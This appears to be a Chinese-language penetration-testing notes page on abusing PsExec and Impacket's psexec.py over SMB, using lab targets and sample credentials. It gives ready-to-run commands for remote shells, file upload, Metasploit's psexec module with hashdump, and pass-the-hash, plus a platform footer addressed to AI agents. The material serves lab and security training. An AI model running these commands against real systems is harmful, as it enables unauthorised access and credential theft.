> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/psexec-smb-tool.md).
# PsExec（SMB 工具）
> **PsExec** 是微软 Sysinternals 工具套件中的一个工具，用于在 Windows 计算机上远程运行命令或程序。它允许以交互式或后台方式访问远程机器，通常具有提升的权限，而无需物理连接或使用 RDP 客户端。这对于网络管理、安全测试或任务自动化特别有用。
如果出现以下消息：
> “已启用签名但不是必需的”
* 这意味着身份验证可以在不进行签名验证的情况下发生。可能存在不安全通信，从而使与身份验证相关的滥用成为可能。
### **PsExec.py**
下面是一个以管理权限获取交互式 shell 的示例命令：
```bash
psexec.py /:@ cmd.exe
```
```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```
### **远程执行命令**
允许你直接在远程机器上启动命令或脚本，而无需打开用户会话。
```bash
psexec // -u -p
```
```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```
### **远程文件上传**
PsExec 允许你在执行本地文件之前先将其复制到远程机器。
```bash
psexec // -c
```
```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```
## Metasploit
**使用 Metasploit 利用 PsExec 攻击 SMB**
1. 启动 Metasploit 并使用 **exploit module/windows/smb/psexec** :
```bash
使用 exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```
成功获取访问权限后，可以“转储”密码哈希：
```bash
hashdump
```
### **传递哈希 - PsExec**
PsExec 也可通过提供 NTLM 哈希而不是密码来用于传递哈希。只要该哈希属于一个具有特权的账户，就可以提供管理员访问权限：
```bash
psexec.py /@ -hashes :
```
```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/psexec-smb-tool.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.